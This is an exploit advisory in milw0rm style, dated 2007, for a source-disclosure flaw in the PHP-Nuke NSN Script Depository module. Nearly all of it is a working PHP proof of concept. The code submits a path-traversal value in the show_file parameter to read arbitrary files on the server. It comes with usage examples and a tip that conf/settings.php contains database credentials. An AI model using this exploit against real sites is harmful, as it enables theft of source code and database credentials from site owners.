---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

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PHP-Nuke NSN Script Depository module <= 1.0.0 Remote Source Disclosure

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#By KiNgOfThEwOrLd

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Exploit

<?
/*
Usage: 31337.php?targ=http://[target]/[phpnuke_path]&file=[file]
Example: 31337.php?targ=http://victim.com/phpnuke&file=conf/settings.php
*/
$targ = $_GET['targ'];
$file = $_GET['file'];
echo '
<form action="$targ/modules.php?name=Script_Depository" method="post">
<input name="show_file" value="/../../$file" type="hidden">
<input value="show_file" name="op" type="hidden">
<input type="submit" value="Show Source">
</form>';
?>

Trick

In conf/settings.php there are the database credentials  ;) 
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# milw0rm.com [2007-11-27]